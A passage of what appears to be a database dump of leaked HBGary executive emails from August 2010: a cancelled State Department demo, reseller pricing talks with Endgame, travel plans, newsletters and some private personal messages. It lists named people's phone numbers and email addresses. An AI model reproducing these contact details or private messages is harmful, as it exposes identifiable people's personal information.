02:34:00\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10 02:34:00\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',11079,'aaron_hbgary_com/11079.html'),(10145,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007897.M27425P14101Q5000.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Accepted: FW: Invitation: State Dept Presentation -- HBGary 	technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)','Let&#39;s cancel there are too many unknowns this late in the game.\r\nOn Wed, Aug 11, 2010 at 1:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDo we have a location yet?  So to be clear.  I am going to talk to the larger picture of how Active Defense and Reponder fit within enterprise security, benefits, etc.  I can talk to our partnerships.  And others will be available via webex to demo AD and Responder? \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 11, 2010, at 3:04 PM, Maria Lucas wrote:\r\n\r\nWe may need to have Phil or Martin demo the Responder Pro -- Al is apparently inviting others I know they will want to see Responder Pro for sure.  I am calling Al  now.\r\n \r\nALSO Note he goes by Al Vaziri  NOT Ali\r\n---------- Forwarded message ----------From: Bates, Jason R &lt;BatesJR@state.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 11:54 AMSubject: Accepted: FW: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',6039,'aaron_hbgary_com/6039.html'),(10146,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007897.M338850P14101Q5001.eml','\"Aaron Barr\" <aaron@hbgary.com>','Canceled Event: State Dept Presentation -- HBGary technology and for 	moni... @ Thu Aug 12 2pm - 3pm (aaron@hbgary.com)','This event has been canceled and removed from your calendar.State Dept Presentation -- HBGary technology and for monitoring/detecting/mitigating malware AgendaPresent HBGary technologies to Al Vaziri at State Dept.-- HBGary approach-- HBGary technology / services-- HBGary product demonstrationsHBGary CTO Rich CummingsHBGary Federal CEO Aaron BarrAl VaziriSecurity Tools ArchitectNetwork Monitoring Center; DS/SI/CS/ESSDepartment of State - Bureau of Diplomatic Security SA-26 / SA-20Phone: 571-345-2578 @ SA-20E-Mail: Vaziri-ZanjaniA@State.govWhenThu Aug 12 2pm – 3pm Eastern TimeWhereto be added (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for cancellations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',13543,'aaron_hbgary_com/13543.html'),(10147,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007897.M539700P14101Q5002.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Sales Collateral','If I don\'t that will give Mark another month of coverage... \r\n\r\nYes, you\'ll have it Friday.  We need to chat with Penny ASAP because\r\nwe owe Mark at least two weeks notice, or a heads-up that \"now is a\r\ngood time for unpaid vacation\" until our work starts up in Sep...\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Aug 11, 2010 at 2:48 PM, Aaron Barr  wrote:\r\n> So ur sending me a check this week?\r\n>\r\n> Aaron\r\n>\r\n> On Aug 11, 2010, at 4:37 PM, Ted Vera wrote:\r\n>\r\n>> FYI --\r\n>>\r\n>>\r\n>> ---------- Forwarded message ----------\r\n>> From: David Gerulski \r\n>> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n>> Subject: Sales Collateral\r\n>> To: Ted Vera \r\n>>\r\n>>\r\n>> Ted,\r\n>>\r\n>> Our first shot at a data sheet for the ipAwareness product.\r\n>>\r\n>> We should have updated docs in two weeks.\r\n>>\r\n>> Again, your logos will help me get this into a format you can use.\r\n>>\r\n>> Dave\r\n>>\r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>>\r\n>> 770.906.3283\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>> \r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8796,'aaron_hbgary_com/8796.html'),(10148,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007897.M745979P14101Q5003.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Sales Collateral','Yes, we will be reselling it (this is based on the Endgames data).\r\nBank of the West asked Maria today for more information - they are\r\ninterested based on the reports we sent them.\r\n\r\nThe attached product sheet was what they developed, we will not be\r\nusing it. Our service will be white-labelled HBGary Fed, and we will\r\nprovide some value-add (web interface, reports, notifications, etc).\r\n\r\nTed\r\n\r\nOn Wed, Aug 11, 2010 at 3:15 PM, Bob Slapnik  wrote:\r\n> A few observations.....\r\n>\r\n> Will HBG Fed be reselling this?  Is so, you might want to brand it as HBGary\r\n> Fed\'s product.\r\n>\r\n> Right now you go to iptrust.com to see nothing but a graphic.  Doesn\'t\r\n> instill confidence.\r\n>\r\n> The font quality looks poor in the pdf. Fuzzy.\r\n>\r\n> Just a taste thing..... I would not hyphenate words.\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, August 11, 2010 4:38 PM\r\n> To: Bob Slapnik; Maria Lucas; mark@hbgary.com; Barr Aaron\r\n> Subject: Fwd: Sales Collateral\r\n>\r\n> FYI --\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: David Gerulski \r\n> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n> Subject: Sales Collateral\r\n> To: Ted Vera \r\n>\r\n>\r\n> Ted,\r\n>\r\n> Our first shot at a data sheet for the ipAwareness product.\r\n>\r\n> We should have updated docs in two weeks.\r\n>\r\n> Again, your logos will help me get this into a format you can use.\r\n>\r\n> Dave\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n>\r\n> 770.906.3283\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile\r\n> 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n> 02:34:00\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8383,'aaron_hbgary_com/8383.html'),(10149,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007898.M273607P14101Q5004.eml','\"David Gerulski\" <dgerulski@endgames.us>','Re: Pricing Proposal','I\'ll get you the logos ASAP, our graphics guy was out today.  We were\r\ncontacted by Bank of the West this afternoon.  They are still very\r\ninterested and asked for more details about the service.  If you have\r\nany other documents that provide more tech detail than the sales sheet\r\nI would appreciate it.  Otherwise, I think I know enough about the\r\narchitecture to write something that will suffice.\r\n\r\nTed\r\n\r\nOn Wed, Aug 11, 2010 at 2:04 PM, David Gerulski  wrote:\r\n> Ted,\r\n>\r\n> Could you please send me your logos for presenting on a black background and for presenting on a white background.  I think a .jpg will work. I am going to have them put on a picture of our portal that you will be white labeling. Once I have the logos, I will send you a copy. I think you will be impressed.\r\n>\r\n> How is the sales process with Bank of the West coming?\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n>\r\n> 770.906.3283\r\n>\r\n>\r\n> On Aug 9, 2010, at 12:37 PM, Ted Vera wrote:\r\n>\r\n> Hi David,\r\n>\r\n> We agree to this pricing, we are going to try to sell it to the\r\n> customer.  Can we build a web front-end that would allow us to sell\r\n> this capability directly from our website?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Aug 3, 2010 at 3:24 PM, David Gerulski  wrote:\r\n>> Ted,\r\n>>\r\n>> Your customer has 70,356 IP addresses.  At $18,000 a year, that is $.26 per\r\n>> IP per year. Another way of looking at it is 70,356 queries times 365 days\r\n>> totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths\r\n>> of a penny per query.  I am interested in building market share, and\r\n>> understand Maria\'s position on pricing, but we cannot go that low.\r\n>>\r\n>> We need to get pricing on this deal to a bare minimum of $.001/query (one\r\n>> tenth of one penny per query). Considering your customers number of IP\r\n>> addresses that would be a deal size of $25,679.94.  For this first customer,\r\n>> I would be willing to go $1,995/ month or $23,940. (Please note that\r\n>> $.001/query is NOT our long-term price goal. It is floor we will build\r\n>> from.)\r\n>>\r\n>> We are making vast improvements to our notification service. In less than a\r\n>> month\'s time, it will include a customer portal complete with daily, weekly,\r\n>> monthly and industry comparison reports. However, today, the customer will\r\n>> receive a simple email notification.\r\n>>\r\n>> Other points we need to address before closing the current customer is a\r\n>> putting together a reseller agreement that sets your discount, payment\r\n>> methods, and ability to run additional queries at a vastly reduced price.\r\n>> The following is my proposal for the agreement.\r\n>>\r\n>> Starting with you ability to run queries; during the Beta period HBGary ran\r\n>> approximately 1.7 million IP addresses through our API. The good news, it\r\n>> looks as if your queries may result in quite a bit of business. The bad news\r\n>> is, we can\'t afford to run queries free of charge.  Endgame is willing to\r\n>> set your price per query to $.001 (one-tenth of a penny) for the remainder\r\n>> of the calendar year. Had we charged for your queries during the Beta\r\n>> period, this would have resulted in a very reasonable bill of $1,700 for the\r\n>> 1.7M addresses.\r\n>>\r\n>> Endgame is offering HBGary twenty-five (25) points on sales. This first sale\r\n>> of $23,940 will result in $5,985 margin to you. As part of your reseller\r\n>> agreement, we are willing to credit per query charges against margin.\r\n>>\r\n>> This reseller agreement will be a \"White Label\" HBGary service. Your\r\n>> branding will be dominant on notification email and the customer portal.\r\n>> Some type of additional \"powered by\" branding will include our brand,\r\n>> ipTrust.\r\n>>\r\n>> Please review this proposal and let\'s schedule a call for tomorrow at your\r\n>> convenience.\r\n>>\r\n>> Sincerely,\r\n>>\r\n>>\r\n>>\r\n>> Dave\r\n>>\r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>> 770.906.3283\r\n>>\r\n>>\r\n>> On Aug 3, 2010, at 9:52 AM, David Gerulski wrote:\r\n>> Ted,\r\n>>\r\n>> Thank you for your email.  I am working on the logistics of the offer, a\r\n>> reseller agreement, and the process for which HBGary can run queries to find\r\n>> additional customers.\r\n>>\r\n>> I will have an answer back to you before the end of day.\r\n>>\r\n>> Dave\r\n>>\r\n>>\r\n>>\r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>>\r\n>> 770.906.3283\r\n>>\r\n>>\r\n>> On Aug 2, 2010, at 7:51 PM, Ted Vera wrote:\r\n>>\r\n>> Hi David,\r\n>>\r\n>> Maria got back with me.  She thinks $5,000 per month is initially\r\n>> high.  She recommends the following:\r\n>>\r\n>> \"What I would do is say we are \"piloting\" a new service.  For the\r\n>> first 5 customers who sign up for 1 year the cost is a pre-paid\r\n>> $18,000 and significantly below what we will be charging.  In return\r\n>> for the low price we are asking customers to be a reference for HBGary\r\n>> and for the Service.  I imagine that XXX will buy it... maybe XXX,\r\n>> XXX, XXX and it will be easy enough to find a 5th. Depending on\r\n>> results we should be able to charge $5,000 per month but it is easier\r\n>> if we already have some customers...  and after a few months we can\r\n>> ask the 5 what they think the \"value\" is.\"\r\n>>\r\n>> Personally, I like this approach.  What do you think?\r\n>>\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13153,'aaron_hbgary_com/13153.html'),(10150,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007898.M635934P14101Q5005.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Visit','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Aug 11, 2010 at 6:20 PM\r\nSubject: Re: Visit\r\nTo: David Gerulski \r\n\r\n\r\nThanks for the invite David, I\'d love to.  I have some business in\r\nAtlanta with CDC and planned a trip there in the coming weeks.  I\'ll\r\nplan for an extra day for the trip and knock out two birds with one\r\nstone.  I\'ll let you know once my travel plans firm up.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Aug 11, 2010 at 2:11 PM, David Gerulski  wrote:\r\n> Ted,\r\n>\r\n> Chris thought it would be a great idea to invite you out to visit us at our new facility in Atlanta.  I agree.  Please take a look at your schedule and consider coming to Atlanta.\r\n>\r\n> Dave\r\n>\r\n>\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n>\r\n> 770.906.3283\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7860,'aaron_hbgary_com/7860.html'),(10151,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007899.M291325P14101Q5007.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sales Collateral','Oh too quickly responded ... :)\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 11, 2010, at 8:15 PM, Ted Vera  wrote:\r\n\r\n> If I don\'t that will give Mark another month of coverage... \r\n>\r\n> Yes, you\'ll have it Friday.  We need to chat with Penny ASAP because\r\n> we owe Mark at least two weeks notice, or a heads-up that \"now is a\r\n> good time for unpaid vacation\" until our work starts up in Sep...\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Aug 11, 2010 at 2:48 PM, Aaron Barr  wrote:\r\n>> So ur sending me a check this week?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Aug 11, 2010, at 4:37 PM, Ted Vera wrote:\r\n>>\r\n>>> FYI --\r\n>>>\r\n>>>\r\n>>> ---------- Forwarded message ----------\r\n>>> From: David Gerulski \r\n>>> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n>>> Subject: Sales Collateral\r\n>>> To: Ted Vera \r\n>>>\r\n>>>\r\n>>> Ted,\r\n>>>\r\n>>> Our first shot at a data sheet for the ipAwareness product.\r\n>>>\r\n>>> We should have updated docs in two weeks.\r\n>>>\r\n>>> Again, your logos will help me get this into a format you can use.\r\n>>>\r\n>>> Dave\r\n>>>\r\n>>> David Gerulski\r\n>>> VP Commercial Sales & Marketing\r\n>>> dgerulski@endgames.us\r\n>>>\r\n>>> 770.906.3283\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal\r\n>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>> www.hbgary.com  |  ted@hbgary.com\r\n>>> \r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',14601,'aaron_hbgary_com/14601.html'),(10152,'2010-08-12','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007899.M628985P14101Q5008.eml','aaron@hbgary.com','Dawn','I spoke with Dawn tonight and she told me that her conversation with Chris was very encouraging. He is completely on your side and wants only to be sure they learn what you know. \r\n\r\nIn response to Chris\'s promise ro ensure no adverse actions, Dawn provided him with your name and contact information. You should expect a call tomorrow from Greg Smithberger, the director of the office we discussed. \r\n\r\nI\'m now confident this has only upside potential for you. Good luck and please keep me informed so I can verify that Chris is as good as his word. \r\n\r\nTom\r\n\r\n\r\n',12071,'aaron_hbgary_com/12071.html'),(10153,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007899.M79823P14101Q5006.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sales Collateral','I can\'t do that.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 11, 2010, at 8:15 PM, Ted Vera  wrote:\r\n\r\n> If I don\'t that will give Mark another month of coverage... \r\n>\r\n> Yes, you\'ll have it Friday.  We need to chat with Penny ASAP because\r\n> we owe Mark at least two weeks notice, or a heads-up that \"now is a\r\n> good time for unpaid vacation\" until our work starts up in Sep...\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Aug 11, 2010 at 2:48 PM, Aaron Barr  wrote:\r\n>> So ur sending me a check this week?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Aug 11, 2010, at 4:37 PM, Ted Vera wrote:\r\n>>\r\n>>> FYI --\r\n>>>\r\n>>>\r\n>>> ---------- Forwarded message ----------\r\n>>> From: David Gerulski \r\n>>> Date: Wed, Aug 11, 2010 at 2:17 PM\r\n>>> Subject: Sales Collateral\r\n>>> To: Ted Vera \r\n>>>\r\n>>>\r\n>>> Ted,\r\n>>>\r\n>>> Our first shot at a data sheet for the ipAwareness product.\r\n>>>\r\n>>> We should have updated docs in two weeks.\r\n>>>\r\n>>> Again, your logos will help me get this into a format you can use.\r\n>>>\r\n>>> Dave\r\n>>>\r\n>>> David Gerulski\r\n>>> VP Commercial Sales & Marketing\r\n>>> dgerulski@endgames.us\r\n>>>\r\n>>> 770.906.3283\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal\r\n>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>> www.hbgary.com  |  ted@hbgary.com\r\n>>> \r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',4658,'aaron_hbgary_com/4658.html'),(10154,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007899.M904396P14101Q5009.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Dawn','Great Tom.  Thank you.  I will keep you posted.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 11, 2010, at 9:33 PM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> I spoke with Dawn tonight and she told me that her conversation with Chris was very encouraging. He is completely on your side and wants only to be sure they learn what you know.\r\n>\r\n> In response to Chris\'s promise ro ensure no adverse actions, Dawn provided him with your name and contact information. You should expect a call tomorrow from Greg Smithberger, the director of the office we discussed.\r\n>\r\n> I\'m now confident this has only upside potential for you. Good luck and please keep me informed so I can verify that Chris is as good as his word.\r\n>\r\n> Tom\r\n>\r\n>\r\n',313,'aaron_hbgary_com/313.html'),(10155,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007900.M105247P14101Q5010.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Dawn','Sent from my iPhoneBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\nDate: August 11, 2010 9:33:46 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: DawnI spoke with Dawn tonight and she told me that her conversation with Chris was very encouraging. He is completely on your side and wants only to be sure they learn what you know. \r\nIn response to Chris&#39;s promise ro ensure no adverse actions, Dawn provided him with your name and contact information. You should expect a call tomorrow from Greg Smithberger, the director of the office we discussed. \r\nI&#39;m now confident this has only upside potential for you. Good luck and please keep me informed so I can verify that Chris is as good as his word. Tom\r\n\r\n',10072,'aaron_hbgary_com/10072.html'),(10156,'2010-08-12','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297007900.M333638P14101Q5011.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 8/11/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Aug 4 - Aug 11\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Robert Frisbie has an updated profile (Education)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Rodrigo Antao has an updated profile (Expertise)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Robert Frisbie has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Robert Frisbie\r\n    is now connected to\r\n        Dave Leach\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael Schell\r\n    is now connected to\r\n        Linden Mosk\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Rodrigo Antao\r\nParab&#xe9;ns a todos os amigos Advogados pelo seu dia!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nOh man....this is classic!      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nU.S. To Train 3,000 Offshore IT Workers -- InformationWeek         \r\n          Despite President Obama\'s pledge to retain more hi-tech jobs in the U.S., a federal agency run by a hand-picked Obama appointee has launched a $36 million program to train workers, including 3,000 specialists in IT and related functions, in South...\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nhttp://lnkd.in/mz_DsD      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nLarry Ellison Slams HP Board: &quot;Worst Personnel Decision Since The...         \r\n          &quot;In losing Mark Hurd, the H.P. board failed to act in the best interest  of H.P.&amp;rsquo;s employees, shareholders, customers and partners.&quot;\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Michael Schell has joined\r\n    Stanford Advanced Project Management Program (SAPM)\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Mohannad H. Gomaa, MBA PMP EIT has joined 3 groups, including\r\n      \r\n      Global Sourcing Professionals\r\n      and\r\n      Strategic Sourcing\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Mary Sullivan has joined\r\n    Forensic Focus\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Sid Fuchs recommends\r\ncolleague      Sonya Sweetney-Ransome\r\n          Assistant Controller at OAO Technology Solutions\r\n        Sonya did a fantastic job at OAOT.  She produced high quality work, was an excellent team player, an...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Shane Shook recommends\r\ncolleague      Ralph Blascovich\r\n          Principal at Blascovich Mediation &amp; Consulting\r\n        I worked with Ralph on behalf of a leading online financial services company.  We worked together ov...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ed Wallach recommends\r\n      Doctor\r\n        Dr. Alan N. Glazier\r\n    I am happy to write this recommendation for Dr. Alan Glazier! I have known Alan for about 6 years. P...\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Mary Sullivan\r\n                  \r\n                     will be exhibiting at \r\n                  \r\n                    6th Annual Government Forum of Incident Response and Security Teams (GFIRST) Conference\r\n                  \r\n                     on August 15, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Kevin G. Coleman\r\n                  \r\n                     has read \r\n                  \r\n                    Cyber Commander\'s Handbook\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    JD Kathuria\r\n                  \r\n                     wants to read \r\n                  \r\n                    The Checklist Manifesto: How to Get Things Right\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',15585,'aaron_hbgary_com/15585.html'),(10157,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007900.M545043P14101Q5012.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: thanks for your help today','Begin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 11, 2010 8:03:24 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: thanks for your help todayTed\r\n \r\nThank you for your help today.  It really was great to work with you.  The Webex was excellent and eventhough I got frustrated it was a big help with the proposal and it put Phil on the\r\nright path.\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n',14142,'aaron_hbgary_com/14142.html'),(10158,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007900.M794390P14101Q5013.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: thanks for your help today','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 11, 2010 8:35:09 PM MDT\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;Subject: Re: thanks for your help todayThanks Maria, it was my pleasure. I&#39;d like a copy of the finished product once Phil is done. \r\nRegards,TedOn Aug 11, 2010, at 8:03 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nTed\r\n \r\nThank you for your help today.  It really was great to work with you.  The Webex was excellent and eventhough I got frustrated it was a big help with the proposal and it put Phil on the\r\nright path.\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n  \r\n\r\n\r\n',2249,'aaron_hbgary_com/2249.html'),(10159,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007901.M295097P14101Q5015.eml','\"Sandy Barr\" <freelybe@hotmail.com>','We are a team','I know it doesnt feel like it yet, so in that sense we aren\'t but I support you.  This has been unbelievably stressing and damaging.  So let it comes as it needs to come.  No pressure from me.  If you want to clear your mind talking to her directly about how what happened made you and us feel, then do so, if you don\'t, don\'t.\r\n\r\nNo pressure from me.',13975,'aaron_hbgary_com/13975.html'),(10160,'2010-08-12','\"WebEx University\" <training@webex.com>','/aaron@hbgary.com/new/1297007901.M36658P14101Q5014.eml','aaron@hbgary.com','Mastering Cisco WebEx Meeting Center','\r\n\r\n\r\n\r\n \r\n  \r\n \r\nMastering Invite\r\n\r\n \r\n\r\n\r\n\r\n							\r\n							\r\n								\r\n									If this message is not displaying properly, click here to launch your browser.\r\n							\r\n							\r\n						\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							